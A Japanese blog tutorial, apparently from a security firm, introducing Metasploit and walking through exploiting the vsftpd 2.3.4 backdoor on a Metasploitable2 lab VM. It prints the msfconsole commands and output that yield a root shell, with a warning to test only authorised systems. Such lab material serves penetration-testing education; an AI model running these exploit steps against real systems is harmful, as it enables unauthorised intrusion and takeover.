以前Kalilinuxを構築したので実際にインストールされているMetasploit Frameworkについてご紹介します。
※注意事項
本記事に掲載した行為を自身の管理下にないネットワーク/コンピューターに行った場合は、攻撃行為と判断される場合があり、最悪の場合、法的措置を取られる可能性もあります。このような調査を行う場合は、くれぐれも許可を取った上で、自身の管理下にあるネットワークやサーバーに対してのみ行ってください。
Metasploit Framework(以降 Metasploit)は、攻撃者の行動をシミュレートし侵入テスト(ペネトレーションテスト)を行うソフトウエアです。世界で最も普及しているペネトレーションフレームワークであり、経験豊富なセキュリティ専門家から初心者まで誰でもペネトレーションテストを自動化し、攻撃者がネットワークやその他の運用インフラストラクチャの重要な側面に対して取りうる行動を再現することでセキュリティ対策の検証を助けてくれるツールです。MetasploitにはさまざまなOS向けのエディションが存在し、中でも、Linux系OS(セキュリティ診断用ツールが多数インストールされているOSの一種、「Kali Linux」には標準でインストールされている)で利用されることが多いです。
Metasploit ではあらゆるもの (スクリプト、ファイル、プログラムなど) がモジュールとなっています。6種類のモジュールが存在します
モジュールタイプ | 概要 |
auxiliary | ポートスキャンやバージョン検出、ネットワークトラフィックの解析など、攻撃者の様々な作業を補助するモジュール |
exploit | 脆弱性を利用して、バッファオーバーフローを起こしたり認証を迂回して、ペイロードの実行をできるようにするコード |
payload | リモート接続の確立や meterpreter セッションの開始、シェルコマンドの実行など、exploit が成功した後にすぐ実行すること |
post | exploit とリモート接続が成功した後に、パスワードを盗取したりキーロガーを設定、あるいはファイルをダウンロードするために実行する様々なプログラム |
encoder | 暗号化を実行するためのプログラム |
nop | NOP ジェネレータ。NOP は何もしないアセンブリ言語の命令です。この命令の機械語はハードウェアのアーキテクチャによって異なります。NOP 命令は実行可能ファイルの空白を埋めるのに有用です |
対象のシステムで動いているオペレーティングシステムとソフトウェアのバージョンを調べるには、ポートスキャンを実行します。ポートスキャンの情報を使って、search コマンドで利用可能な exploit を検索することができます。
例えば、Novell の Linux プラットフォームの exploit を全て検索するには
msf > search platform:linux type:exploit name:Novell
特定のフィールドを検索したいときは、フィールドの名前の後ろに、コロンと検索フレーズを入力します。以下の検索フィールドが使えます
検索フィールド | 説明 | 入力可能な値 | DBテーブル&カラム |
app | Passive (client) あるいは Active (server) な exploit | client, server | module_details.stance |
auther | モジュールの作者の名前とメールアドレス | 何でも入力可能 | module_authors.name |
type | モジュールのタイプ | auxiliary, exploit, payload, post, encoder, nop | module_details.mtype |
name | パス (Name) と短い説明 | 何でも入力可能 | module_details.fullname, module_details.name |
platform | 対象ハードウェアあるいはソフトウェアプラットフォーム | bsdi, netware, linux, hpux, irix, osx, bsd, platform, java, javascript, unix, php, firefox, nodejs, ruby, cisco, android, aix, windows, python, solaris | module_platforms.name |
bid,cve,edb,osvdb,re | Bugtraq, CVE, Exploit-DB, OSBDB ID など | Exploit データベースのエントリ ID あるいは上流のレポート URL の一部 | module_refs.name |
(No field) | 上記の app と type を除く全て | 何でも入力可能 | 上記の全て |
仮想環境上でMatasploitを使用します。VirtualBox上に、攻撃する側(KaliLinux)と攻撃される側(Metasploitable2)を用意しました。
Mataspoitable2はMetasploitによるペネトレーションの練習やテストに使用する為の、わざと脆弱性を持たせた仮想マシンとなっています。
VSFTPD v2.3.4の脆弱性を攻撃する
Linuxディストリビューションで採用されているFTPサーバーのソフトウェア「vsftpd v2.3.4」に、バックドアと呼ばれる攻撃者の侵入を可能にしてしまうコードが含まれているという脆弱性が発見されています。現在この脆弱性は修正されていますが今回はこの脆弱性を突く攻撃を行います。
構成
1.Metasploitの起動
KaliLinuxでTerminalを開きMetasploitを起動します。
$msfconsole
略
=[ metasploit v5.0.99-dev ]
+ -- --=[ 2045 exploits - 1106 auxiliary - 344 post ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]
Metasploit tip: You can use help to view all available commands
2.searchの実施
searchコマンドはMetasploitデータベース内を検索するコマンドです。
vsftpd関連で検索します。
Matching Modules
================
msf5 > search vsftpd
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution
3.「vsftpd_234_backdoor」の使用
検索したところ「vsftpd_234_backdoor」が出てきたので「use」コマンドで使用します。
msf5 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf5 exploit(unix/ftp/vsftpd_234_backdoor) >
4.必要な情報を確認
「show options」で必要な情報を確認します。ここで必要な情報は「RHOSTS」と「RPORT」になります。
RPORTは21なので後はRHOSTSがあれば攻撃が可能です。
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 21 yes The target port (TCP)
Payload options (cmd/unix/interact):
Name Current Setting Required Description
---- --------------- -------- -----------
Exploit target:
Id Name
-- ----
0 Automatic
5.RHOSTSの設定
攻撃対象のサーバ「Metasploitable2」のIPは「192.168.56.102」なので、このIPをセットし、
再度設定できたか確認します。
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set rhost 192.168.56.102
rhost => 192.168.56.102
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 192.168.56.102 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 21 yes The target port (TCP)
Payload options (cmd/unix/interact):
Name Current Setting Required Description
---- --------------- -------- -----------
Exploit target:
Id Name
-- ----
0 Automatic
RHOSTSに攻撃先のIPが設定できたことが確認できます。
7.「vsftpd_234_backdoor」の起動
「vsftpd_234_backdoor」の起動します。
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.56.102:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.56.102:21 - USER: 331 Please specify the password.
[+] 192.168.56.102:21 - Backdoor service has been spawned, handling...
[+] 192.168.56.102:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (0.0.0.0:0 -> 192.168.56.102:6200) at 2020-10-22 02:01:51 -0400
8.攻撃後の操作
攻撃が成功したことで。「攻撃先のPC」をリモートで操作することが可能になりました。
id
uid=0(root) gid=0(root)
pwd
/
ls -ltr
total 81
drwx------ 2 root root 16384 Mar 16 2010 lost+found
drwxr-xr-x 4 root root 4096 Mar 16 2010 media
drwxr-xr-x 2 root root 4096 Mar 16 2010 srv
drwxr-xr-x 2 root root 4096 Mar 16 2010 opt
drwxr-xr-x 2 root root 4096 Mar 16 2010 initrd
drwxr-xr-x 14 root root 4096 Mar 17 2010 var
drwxr-xr-x 6 root root 4096 Apr 16 2010 home
drwxr-xr-x 12 root root 4096 Apr 28 2010 usr
drwxr-xr-x 3 root root 4096 Apr 28 2010 mnt
lrwxrwxrwx 1 root root 29 Apr 28 2010 vmlinuz -> boot/vmlinuz-2.6.24-16-server
lrwxrwxrwx 1 root root 32 Apr 28 2010 initrd.img -> boot/initrd.img-2.6.24-16-server
lrwxrwxrwx 1 root root 11 Apr 28 2010 cdrom -> media/cdrom
drwxr-xr-x 2 root root 4096 May 13 2012 sbin
drwxr-xr-x 13 root root 4096 May 13 2012 lib
drwxr-xr-x 2 root root 4096 May 13 2012 bin
drwxr-xr-x 4 root root 1024 May 13 2012 boot
dr-xr-xr-x 109 root root 0 Oct 21 21:46 proc
drwxr-xr-x 12 root root 0 Oct 21 21:46 sys
drwxr-xr-x 14 root root 13540 Oct 21 21:46 dev
drwxr-xr-x 94 root root 4096 Oct 21 21:46 etc
drwxr-xr-x 13 root root 4096 Oct 21 21:46 root
-rw------- 1 root root 7263 Oct 21 21:46 nohup.out
drwxrwxrwt 4 root root 4096 Oct 21 21:46 tmp
vsftpdの脆弱性を突いたことで、攻撃対象のPCの乗っ取りに成功しました。
vsftpdに脆弱性があることで攻撃対象のPCを乗っ取ることが出来ました。Metasploitのモジュールは無数にあり、さまざまな脆弱性に対応しています。悪意のある者の攻撃から身を守るためには脆弱性をより少なくする必要があることが今回の攻撃で分かります。攻撃を受ける確率を少しでも減らすために、定期的な脆弱性診断を実施することをお勧めします。
Metasploitのインストール方法と設定方法
ちょこっとホワイトハッカーになった気持ちになって、VirtualBox上にKali Linuxをインストールし、Metasploitを使ったペネトレーションテスト(脆弱性診断)をやってみた
ペネトレーションツール Metasploitは数個のコマンドを覚えるだけ
Metasploit Framework
Written by CYBERFORTRESS, INC.
Tweet